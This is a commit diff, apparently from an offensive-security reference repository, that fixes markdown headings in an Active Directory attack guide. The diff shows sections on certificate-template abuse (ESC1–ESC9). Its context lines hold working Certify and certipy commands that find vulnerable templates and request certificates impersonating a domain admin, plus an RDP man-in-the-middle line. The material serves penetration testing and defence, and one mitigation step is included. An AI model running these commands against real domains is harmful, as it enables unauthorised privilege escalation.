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Fix markdown typo ESC1-9

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Swissky 2023-04-05 12:47:47 +02:00
parent 0a70636d28
commit 30d17b4924
1 changed files with 20 additions and 11 deletions
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31
Methodology and Resources/Active Directory Attack.md
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@ -2391,12 +2391,15 @@ pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and c
> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
Requirements:
* Template that allows for AD authentication
**Requirements**
* Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
Exploitation:
**Exploitation**
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
```ps1
Certify.exe find /vulnerable
@ -2429,10 +2432,12 @@ Exploitation:
### ESC2 - Misconfigured Certificate Templates
Requirements:
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
**Requirements**
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
**Exploitation**
Exploitation:
* Find template
```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
@ -2490,7 +2495,8 @@ certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe06709
> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
Exploitation:
**Exploitation**
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
```ps1
Certify.exe cas
@ -2500,13 +2506,15 @@ Exploitation:
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
```
Mitigation:
* Remove the flag : `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
**Mitigation**
* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
### ESC7 - Vulnerable Certificate Authority Access Control
Exploitation:
**Exploitation**
* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
```ps1
Certify.exe find /vulnerable
@ -2626,7 +2634,8 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
### ESC9 - No Security Extension
Requirements:
**Requirements**
* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
* Certificate specifies `Any Client` authentication EKU